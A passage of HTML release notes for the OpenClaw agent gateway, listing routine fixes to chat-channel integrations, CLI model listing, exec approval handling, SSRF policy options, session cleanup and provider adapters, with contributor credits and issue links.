<li>Channels/Microsoft Teams: treat configured <code>19:...@thread.tacv2</code> and legacy <code>19:...@thread.skype</code> team/channel IDs as already resolved during startup, avoiding false <code>channels unresolved</code> warnings while preserving Graph name lookup for display-name entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354343671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74683" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74683/hovercard" href="https://github.com/openclaw/openclaw/issues/74683">#74683</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>.</li>
<li>CLI/browser: preserve parent flags while lazy-loading browser subcommands, so <code>openclaw browser --json open</code> and <code>openclaw browser --json tabs</code> keep machine-readable output after reparsing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353127836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74574/hovercard" href="https://github.com/openclaw/openclaw/issues/74574">#74574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devintegeritsm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devintegeritsm">@devintegeritsm</a>.</li>
<li>Exec/elevated: preserve <code>turnSourceChannel</code> as <code>messageProvider</code> on approval-followup runs so <code>tools.elevated.allowFrom.&lt;provider&gt;</code> checks no longer fail with <code>provider=null</code> after the user approves an async elevated command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354035233" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74646/hovercard" href="https://github.com/openclaw/openclaw/issues/74646">#74646</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xhd2015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xhd2015">@xhd2015</a>.</li>
<li>Plugins/runtime-deps: add <code>openclaw plugins deps</code> inspection and repair with script-free package-manager defaults shared across plugin installers, so operators can repair missing bundled runtime deps without corrupting JSON output or blocking unrelated conflict-free deps. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/output: strip internal <code>[tool calls omitted]</code> replay placeholders from user-facing replies while preserving visible reply whitespace. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353111354" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74573/hovercard" href="https://github.com/openclaw/openclaw/issues/74573">#74573</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>Providers/Google Vertex: route authorized_user ADC credentials through OpenClaw's REST transport so Docker installs using gcloud application-default credentials no longer crash in the Google SDK before requests are sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353780535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74628" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74628/hovercard" href="https://github.com/openclaw/openclaw/issues/74628">#74628</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankhal2001-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankhal2001-design">@frankhal2001-design</a>.</li>
<li>ACP/resolver: fall through to thread-bound session resolution when an explicit <code>--session</code> token cannot be resolved while preserving the bad-token diagnostic when no thread binding exists, so Discord slash commands that auto-fill the current thread ID as the positional ACP target no longer return "Unable to resolve session target" errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259261328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66299/hovercard" href="https://github.com/openclaw/openclaw/issues/66299">#66299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kindomLee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kindomLee">@kindomLee</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/sessions: emit a terminal lifecycle backstop when embedded timeout/error turns return without <code>agent_end</code>, so Gateway sessions no longer stay stuck in <code>running</code> after failover surfaces a timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353527154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74607/hovercard" href="https://github.com/openclaw/openclaw/issues/74607">#74607</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/millerc79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/millerc79">@millerc79</a>.</li>
<li>Gateway/diagnostics: include stuck-session reason hints and recovery skip causes in warnings, so operators can tell whether a lane is waiting on active work, queued work, or stale bookkeeping. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/Codex: bound embedded-run cleanup, trajectory flushing, and command-lane task timeouts after runtime failures, so Discord and other chat sessions return to idle instead of staying stuck in processing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/exec: consume successful metadata-only async exec completions silently so Telegram and other chat surfaces no longer ask users for missing command logs after <code>No session found</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353366864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74595/hovercard" href="https://github.com/openclaw/openclaw/issues/74595">#74595</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gkoch02/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gkoch02">@gkoch02</a>.</li>
<li>Web fetch: add a documented <code>tools.web.fetch.ssrfPolicy.allowIpv6UniqueLocalRange</code> opt-in and thread it through cache keys and DNS/IP checks so trusted fake-IP proxy stacks using <code>fc00::/7</code> can work without broad private-network access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350890451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74351" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74351/hovercard" href="https://github.com/openclaw/openclaw/issues/74351">#74351</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>OpenAI Codex: restore <code>/verbose full</code> persistence and app-server tool-output forwarding, and retry Gateway E2E temp-home cleanup so debug runs do not regress on stale validation or cleanup flakes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Anthropic/Meridian: preserve text and thinking content seeded on <code>content_block_start</code> in anthropic-messages streams, so <code>[thinking, text]</code> replies no longer persist as empty turns or trigger empty-response fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351435288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74410" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74410/hovercard" href="https://github.com/openclaw/openclaw/issues/74410">#74410</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Channels/Matrix: complete the cross-signing handshake on <code>openclaw matrix verify confirm-sas</code> so the operator's other Matrix device clears its <code>Verifying…</code> loop instead of staying stuck after the agent confirms. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352761902" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74542/hovercard" href="https://github.com/openclaw/openclaw/pull/74542">#74542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>.</li>
<li>CLI/status: honor channel-specific model context-window overrides when reporting effective context, so channel-scoped sessions reflect the active window in <code>openclaw status</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Sandbox/Docker: tolerate Docker daemon unavailability when sandbox mode is off, so doctor and preflight checks no longer fail on installs that do not run the Docker daemon. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344707479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73671" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73671/hovercard" href="https://github.com/openclaw/openclaw/pull/73671">#73671</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaseonedge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaseonedge">@kaseonedge</a>.</li>
<li>Control UI/mobile: persist mobile chat settings through Lit-managed state and route mobile navigation through the same view-state path so chat panel toggles survive transitions on small viewports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/exports: align sidebar trigger affordances across the resizable divider, mobile layout, and exported-HTML transcript template so the sidebar toggle and exported transcript sidebar render with consistent hit areas and styling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/chat: disable the page refresh affordance while a chat run is active so accidental refreshes do not abort an in-flight reply. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Memory/LanceDB: return real memory records from <code>openclaw ltm list</code> (with optional <code>--limit</code> and createdAt ordering) instead of an empty placeholder, so the CLI surface matches the documented LTM listing contract. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279969994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67952/hovercard" href="https://github.com/openclaw/openclaw/pull/67952">#67952</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangyue19921010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangyue19921010">@zhangyue19921010</a>.</li>
<li>Media: include redacted per-attempt resize failures and resolved model input capabilities in vision-pipeline errors so ARM64 image failures are diagnosable without closing the remaining routing investigation. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352922423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74552/hovercard" href="https://github.com/openclaw/openclaw/issues/74552">#74552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Control UI/i18n: route zh-CN agent, debug, channel-refresh, and exec-approval copy through the locale source while preserving the English <code>Cron Jobs</code> agent tab label and the security-audit command styling. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040969776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39692/hovercard" href="https://github.com/openclaw/openclaw/pull/39692">#39692</a> repair context. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hepeng154833488/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hepeng154833488">@hepeng154833488</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Auto-reply: honor explicit <code>silentReply.direct: "allow"</code> for clean empty or reasoning-only direct chat turns while keeping the default direct-chat empty-response guard conservative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351432589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74409/hovercard" href="https://github.com/openclaw/openclaw/issues/74409">#74409</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesuskannolis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesuskannolis">@jesuskannolis</a>.</li>
<li>OpenAI Codex: send a non-empty Responses input item when a Codex turn only has systemPrompt-backed instructions, avoiding ChatGPT backend 400s from <code>input: []</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346425036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73820/hovercard" href="https://github.com/openclaw/openclaw/issues/73820">#73820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>.</li>
<li>Ollama: normalize provider-prefixed tool-call names at the native stream boundary so Kimi/Ollama calls such as <code>functions.exec</code> dispatch as <code>exec</code> instead of missing configured tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352343792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74487/hovercard" href="https://github.com/openclaw/openclaw/issues/74487">#74487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afurm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afurm">@afurm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carreipeia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carreipeia">@carreipeia</a>.</li>
<li>Security/audit: resolve configured model aliases before model-tier and small-parameter checks, so alias-based GPT-5/Codex configs no longer report false weak-model warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351877071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74455/hovercard" href="https://github.com/openclaw/openclaw/issues/74455">#74455</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>CLI/agent: isolate Gateway-timeout embedded fallback runs under explicit <code>gateway-fallback-*</code> sessions so accepted Gateway runs cannot race transcript locks or replace the routed conversation session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222569416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62981/hovercard" href="https://github.com/openclaw/openclaw/issues/62981">#62981</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>CLI/QR/device-pair: reject malformed public setup URLs before issuing mobile pairing bootstrap tokens, while keeping valid bare host:port setup URLs supported. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Models/UI: hide unauthenticated providers from the default Web chat, <code>/models</code>, and model setup pickers while keeping explicit full-catalog browse paths through <code>view: "all"</code>, <code>/models &lt;provider&gt; all</code>, and <code>models list --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351540119" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74423" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74423/hovercard" href="https://github.com/openclaw/openclaw/issues/74423">#74423</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Ollama: keep explicit local model runs on target-provider runtime hooks when PI discovery is skipped, so one-shot Ollama calls no longer cold-load unrelated provider runtimes before streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>Slack/prompts: rely on Slack <code>interactiveReplies</code> guidance instead of generic <code>inlineButtons</code> config hints so enabled Slack button directives are not contradicted. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077041050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46647/hovercard" href="https://github.com/openclaw/openclaw/issues/46647">#46647</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeremykoerber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeremykoerber">@jeremykoerber</a>.</li>
<li>Slack/reactions: treat duplicate <code>already_reacted</code> responses as idempotent success so repeated agent reaction adds no longer surface as tool failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291287868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69005/hovercard" href="https://github.com/openclaw/openclaw/issues/69005">#69005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shipitsteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shipitsteven">@shipitsteven</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Discord: cool down Cloudflare/Error 1015 HTML 429 REST failures during startup application lookup and gateway metadata fetches, add <code>channels.discord.applicationId</code> as an app-id lookup bypass, sanitize HTML bodies before logging, and honor Retry-After before falling back to a conservative cooldown. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038404026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38853/hovercard" href="https://github.com/openclaw/openclaw/issues/38853">#38853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352352572" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74489/hovercard" href="https://github.com/openclaw/openclaw/pull/74489">#74489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Garyko0730/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Garyko0730">@Garyko0730</a>.</li>
<li>Slack/tools: expose <code>fileId</code> in the shared message tool schema so <code>download-file</code> can receive Slack attachment IDs from inbound placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074134594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45574/hovercard" href="https://github.com/openclaw/openclaw/issues/45574">#45574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadvegas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadvegas">@chadvegas</a>.</li>
<li>Exec: reject invalid per-call <code>host</code> values instead of silently falling back to the default target, so hostname-like values fail before commands run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351549756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74426/hovercard" href="https://github.com/openclaw/openclaw/issues/74426">#74426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scr00ge-00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scr00ge-00">@scr00ge-00</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Google/Gemini: send non-empty placeholder content when a Gemini run is triggered with empty or filtered user content, avoiding <code>contents is not specified</code> API errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CaoYuhaoCarl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CaoYuhaoCarl">@CaoYuhaoCarl</a>.</li>
<li>Heartbeat: preserve non-task <code>HEARTBEAT.md</code> context around <code>tasks:</code> blocks and apply <code>agents.defaults.heartbeat</code> to all agents unless per-agent heartbeat entries restrict scope. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sekhar03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sekhar03">@Sekhar03</a>.</li>
<li>Markdown: preserve paragraph breaks inside loose list items in shared outbound formatting while keeping tight list spacing stable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Build/Gateway: route restart, shutdown, respawn, diagnostics, command-queue cleanup, and runtime cleanup through one stable gateway lifecycle runtime entry so rebuilt packages do not strand long-running gateways on stale hashed chunks. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347423967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73964/hovercard" href="https://github.com/openclaw/openclaw/pull/73964">#73964</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Memory/wiki: keep broad shared-source and generated related-link blocks from turning every page into a search hit, cap noisy backlinks, support all-term searches such as people-routing queries, and prefer readable page body snippets over generated metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Cron/Gateway: abort and bounded-clean up timed-out isolated agent turns before recording the timeout, so stale cron sessions cannot leave Discord or other chat lanes stuck in <code>processing</code> after a timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/errors: suppress malformed streaming tool-call JSON fragments before they reach chat surfaces while preserving provider request-validation diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187420949" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59076/hovercard" href="https://github.com/openclaw/openclaw/issues/59076">#59076</a>; keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187447924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59080" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59080/hovercard" href="https://github.com/openclaw/openclaw/issues/59080">#59080</a> as duplicate coverage. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187915161" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59118" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59118/hovercard" href="https://github.com/openclaw/openclaw/pull/59118">#59118</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/singleGanghood/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/singleGanghood">@singleGanghood</a>.</li>
<li>CLI/models: restore provider-filtered <code>models list --all --provider &lt;id&gt;</code> rows for providers without manifest/static catalog coverage, including Anthropic and Amazon Bedrock, while keeping the compatibility fallback off expensive availability and resolver paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: keep manifest auth-evidence credentials visible across <code>models status</code>, auth probes, and PI model discovery so workspace-scoped provider auth does not disagree between listing, probing, and execution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move local credential evidence such as Google Vertex ADC into generic plugin manifest setup metadata so the model-list auth index stays declarative without provider-specific runtime branches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: compute the <code>models list</code> Auth column through one command-local provider auth index so row rendering no longer repeats auth profile, env, configured-provider, AWS, or synthetic-auth checks per model row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move the OpenAI listable catalog into the plugin manifest so <code>models list --all --provider openai</code> uses the manifest fast path instead of loading provider runtime normalization hooks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
